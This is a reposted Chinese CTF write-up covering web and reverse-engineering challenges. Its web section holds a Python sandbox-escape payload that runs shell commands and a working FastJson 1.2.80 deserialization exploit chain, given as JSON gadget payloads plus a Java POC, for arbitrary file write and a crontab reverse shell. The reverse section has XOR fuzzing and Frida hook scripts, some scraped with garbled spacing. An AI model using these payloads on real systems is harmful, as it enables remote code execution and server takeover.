2025第三届京麒CTF挑战赛 writeup by Mini-Venom

admin 2025年5月29日23:31:592025第三届京麒CTF挑战赛 writeup by Mini-Venom已关闭评论37 views字数 7338阅读24分27秒阅读模式

招新小广告CTF组诚招re、crypto、pwn、misc、合约方向的师傅,长期招新IOT+Car+工控+样本分析多个组招人有意向的师傅请联系邮箱 [email protected](带上简历和想加入的小组)  

Web:

计算器

''.__class__.__mro__[1].__subclasses__()[80].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("env").read()')

删掉disable直接读环境变量

2025第三届京麒CTF挑战赛 writeup by Mini-Venom

FastJ

本题WP由团队师傅提供。

分析

FastJson1.2.80最新利用

https://github.com/luelueking/CVE-2022-25845-In-Spring

通过Exception期望类可以缓存一些新类,上面能缓存InputStream。

问题任意文件读写需要common-io,需要找到openjdk11下的任意文件读写。

注意到题目采用JDK11,JDK11自带符号信息,可以调用任意构造函数。那么很可能还是利用OutputStream下的子类实现任意文件写

第一步:缓存OutputStream

根据缓存InputStream的利用,找到缓存OutputStream的gadget。

UTF8JsonGenerator
JsonGenerator
JsonGenerationException
Exception

payload:

{"a":"{\"@type\":\"java.lang.Exception\",\"@type\":\"com.fasterxml.jackson.core.JsonGenerationException\",\"g\":{}}","b":{"$ref":"$.a.a"},"c":"{\"@type\":\"com.fasterxml.jackson.core.JsonGenerator\",\"@type\":\"com.fasterxml.jackson.core.json.UTF8JsonGenerator\",\"out\":{}}","d":{"$ref":"$.c.c"}}

第二步:任意文件写

1.2.80禁用了FileOutputStream,但题目实现了FilterFileOutputStream,结合rmb的利用可实现任意文件写。

{"@type":"java.io.OutputStream","@type":"sun.rmi.server.MarshalOutputStream","out":{"@type":"java.util.zip.InflaterOutputStream","out":{"@type":"com.app.FilterFileOutputStream","name":"/tmp/1234","prefix":"/"},"infl":{"input":{"array":"eJzT0jdU0IJC/aTMPP2kxOIMBd1kBXUII1k1BPyW1TL8kuUDfQs/QxEzPyMAUiI30LSwsLRUM7NQM1QFanhCv","limit":${length}}},"bufLen":"100"},"protocolVersion":1}

array是一个压缩流,生成array方式如下:

String input = "123123123123";
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
try (DeflaterOutputStream deflaterOutputStream = new DeflaterOutputStream(byteArrayOutputStream)) {
    deflaterOutputStream.write(input.getBytes("UTF-8"));
}
String encoded = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
int leng = byteArrayOutputStream.toByteArray().length;
System.out.println(encoded);

limit设置为解压缩后byte的length。

第三步:定时任务

这步需要些脑洞。测试时发现远程可以在/root目录下写文件,判断权限为root。因此任意文件写到/etc/crontab,定时任务反弹shell即可。

POC

import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.springframework.http.HttpEntity;
import org.springframework.http.HttpHeaders;
import org.springframework.http.MediaType;
import org.springframework.util.LinkedMultiValueMap;
import org.springframework.web.client.RestClientException;
import org.springframework.web.client.RestTemplate;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.zip.DeflaterOutputStream;
import java.util.zip.InflaterInputStream;

publicclassPOC{
static String target = "http://localhost:8080/";

publicstatic Object sendJson(String payload){
try {
            RestTemplate restTemplate = new RestTemplate();

            HttpHeaders httpHeaders = new HttpHeaders();
            httpHeaders.setContentType(MediaType.APPLICATION_FORM_URLENCODED);

            LinkedMultiValueMap<Object, Object> map = new LinkedMultiValueMap<>();
            map.add("json", payload);

            HttpEntity<LinkedMultiValueMap<Object, Object>> request = new HttpEntity<>(map, httpHeaders);

return restTemplate.postForObject(target, request, String.class);
        } catch (RestClientException e) {
return"null";
        }
    }

publicstaticvoidmain(String[] args)throws IOException, CannotCompileException, NotFoundException, InterruptedException {
// 1. add inputStream to fastjson cache
        String payload1 = new String(Files.readAllBytes(Paths.get("payloads/step1.json")));
        sendJson(payload1);
        System.out.println(payload1);

        String path = "E://squirt1e.txt";

        String input = "nese123";
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
try (DeflaterOutputStream deflaterOutputStream = new DeflaterOutputStream(byteArrayOutputStream)) {
            deflaterOutputStream.write(input.getBytes("UTF-8"));
        }

        String encoded = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
int leng = byteArrayOutputStream.toByteArray().length;

        String payload2 = new String(Files.readAllBytes(Paths.get("payloads/step3-.json")));
        payload2 = payload2.replace("{ABC}", encoded).replace("\"{ABCD}\"",String.valueOf(leng)).replace("{path}",path);
        sendJson(payload2);
        System.out.println(payload2);


    }

step1.json

{
"a""{    \"@type\": \"java.lang.Exception\",    \"@type\": \"com.fasterxml.jackson.core.JsonGenerationException\",    \"g\": {    }  }",
"b": {
"$ref""$.a.a"
  },
"c""{  \"@type\": \"com.fasterxml.jackson.core.JsonGenerator\",  \"@type\": \"com.fasterxml.jackson.core.json.UTF8JsonGenerator\",  \"out\": {}}",
"d": {
"$ref""$.c.c"
  }
}

step3-.json

{
"@type""java.io.OutputStream",
"@type""sun.rmi.server.MarshalOutputStream",
"out": {
"@type""java.util.zip.InflaterOutputStream",
"out": {
"@type""com.app.FilterFileOutputStream",
"name""{path}",
"prefix""/"
    },
"infl": {
"input": {
"array""{ABC}",
"limit""{ABCD}"
      }
    },
"bufLen""100"
  },
"protocolVersion": 1
}

Reverse:

Customize Virtual Machine

输入长度限制为50,构造一下输入之后将关键逻辑锁定到这里,此处是取输入的字符与一组密文进行异或,func_len中所存的即是每一组密文的长度,而func_data即是所存储的函数(加密之后的),那么此处的逻辑就是一个smc了,input只要能满足正常解密出所有的函数逻辑即可

2025第三届京麒CTF挑战赛 writeup by Mini-Venom
2025第三届京麒CTF挑战赛 writeup by Mini-Venom

然后后面再使用解密出的函数做后面的约束

2025第三届京麒CTF挑战赛 writeup by Mini-Venom

那么现在的思路就比较清晰了,只要能fuzz出那个满足正常异或出函数逻辑的输入即可,单字节的一个爆破,翻看一下待解密的模块,找到一点小技巧,0异或一个字节是那个字节本身,那么正确的字节是0的话异或目标字节就会是那个字节,就像下面这块,有连续的z出现,那么目标字节大概率就是z

2025第三届京麒CTF挑战赛 writeup by Mini-Venom

输入z之后修一下,成功修复,找一下规律,每个函数最后的retn就是最好的标志

2025第三届京麒CTF挑战赛 writeup by Mini-Venom

写个脚本fuzz一下,retn对应的字节码是c3,懒得写自动化了。。。手动替换一下bytes_array,嘻嘻

Pythonbytes_array = [0x90, 0xFB, 0xF1, 0x17, 0x89, 0x89, 0x89, 0xF5, 0x86, 0x7D,0xF5, 0xB6, 0x73, 0xB5]last_byte = bytes_array[-1]target = 0xC3xor_char = last_byte ^ target# 检查是否在 0-9, a-z, _ 范围内if (48 <= xor_char <= 57) or (97 <= xor_char <= 122) or (xor_char == 95):print(f"找到的异或字符: '{chr(xor_char)}'")else:print("没有找到符合条件的异或字符。")

最后结果是flag{c9z2cn9jmvkh30aqjwrb3urxtkp10q8b0vr_9dbfrocalkn1v5}

drillbeam

java层没什么逻辑,校验是在native层做的

2025第三届京麒CTF挑战赛 writeup by Mini-Venom

跟calc函数到native层之后,分析sub_184C函数走的是一个xxtea的逻辑

2025第三届京麒CTF挑战赛 writeup by Mini-Venom
2025第三届京麒CTF挑战赛 writeup by Mini-Venom

那么直接上frida拿一下这个函数的几个参数,应该就能得到key是114514,补充一下密钥长度即可

bytes_array = [0x900xFB0xF10x170x890x890x890xF50x860x7D0xF50xB60x730xB5]last_byte = bytes_array[-1]target = 0xC3xor_char = last_byte ^ target# 检查是否在 0-9, a-z, _ 范围内if (48 <= xor_char <= 57or (97 <= xor_char <= 122or (xor_char == 95):    print(f"找到的异或字符: '{chr(xor_char)}'")else:    print("没有找到符合条件的异或字符。")
2025第三届京麒CTF挑战赛 writeup by Mini-Venom

发现还将字符的长度也传入了

2025第三届京麒CTF挑战赛 writeup by Mini-Venom

然后传出的内容也和java层收到的是一样的,故而大胆判断应该就只走了个xxtea

2025第三届京麒CTF挑战赛 writeup by Mini-Venom

很抽象input和输出的加密内容不是一一对应的,有补齐,fuzz了一下输入长度,16、15、14、13这样

2025第三届京麒CTF挑战赛 writeup by Mini-Venom

算法没什么太大魔改,就delta不确定,交叉引用到init_array段,发现有初始化,但是直接解解不开,调逻辑又不太能调进去,只能爆破了看来

2025第三届京麒CTF挑战赛 writeup by Mini-Venom
2025第三届京麒CTF挑战赛 writeup by Mini-Venom

复写加密算法的时候调不出来和程序一样的结果,最后猜测了一下,就是将长度补位到待加密内容的最后,参考上面hook xxtea 的几个参数内容,那么这样的话明文长度应该就是16、15、14、13依次加一的范围

functiongetModuleBaseAddress(moduleName{return Process.getModuleByName(moduleName).base;}functiongetFunctionAddress(moduleName, offset{const base = getModuleBaseAddress(moduleName);return base.add(offset);}functionhookSub2E668({const moduleName = "libre0.so";const funcOffset = 0x184C;const funcAddress = getFunctionAddress(moduleName, funcOffset);console.log(`tea address: ${funcAddress}`);    Interceptor.attach(funcAddress, {onEnterfunction(args{console.log(`tea called with:`);console.log(`  arg1 (X0): ${args[0]}`);console.log(`  arg2 (X2): ${args[2]}`);console.log(`  arg2 (X3): ${args[3]}`);//console.log(`  arg2 (X1): ${args[1]}`);console.log(hexdump(args[0]));console.log(hexdump(args[2]));console.log(hexdump(args[3]));//console.log(hexdump(args[1]));        },onLeavefunction(retval{//打印xxtea加密之后的结果console.log(`tea returned: ${retval}`);console.log(hexdump(retval));        }    });}// 延迟执行以确保模块加载setImmediate(hookSub2E668,2000);

结束

招新小广告

ChaMd5 Venom 招收大佬入圈

新成立组IOT+工控+样本分析 长期招新

欢迎联系[email protected]

2025第三届京麒CTF挑战赛 writeup by Mini-Venom

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月29日23:31:59
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   2025第三届京麒CTF挑战赛 writeup by Mini-Venomhttps://cn-sec.com/archives/4112546.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.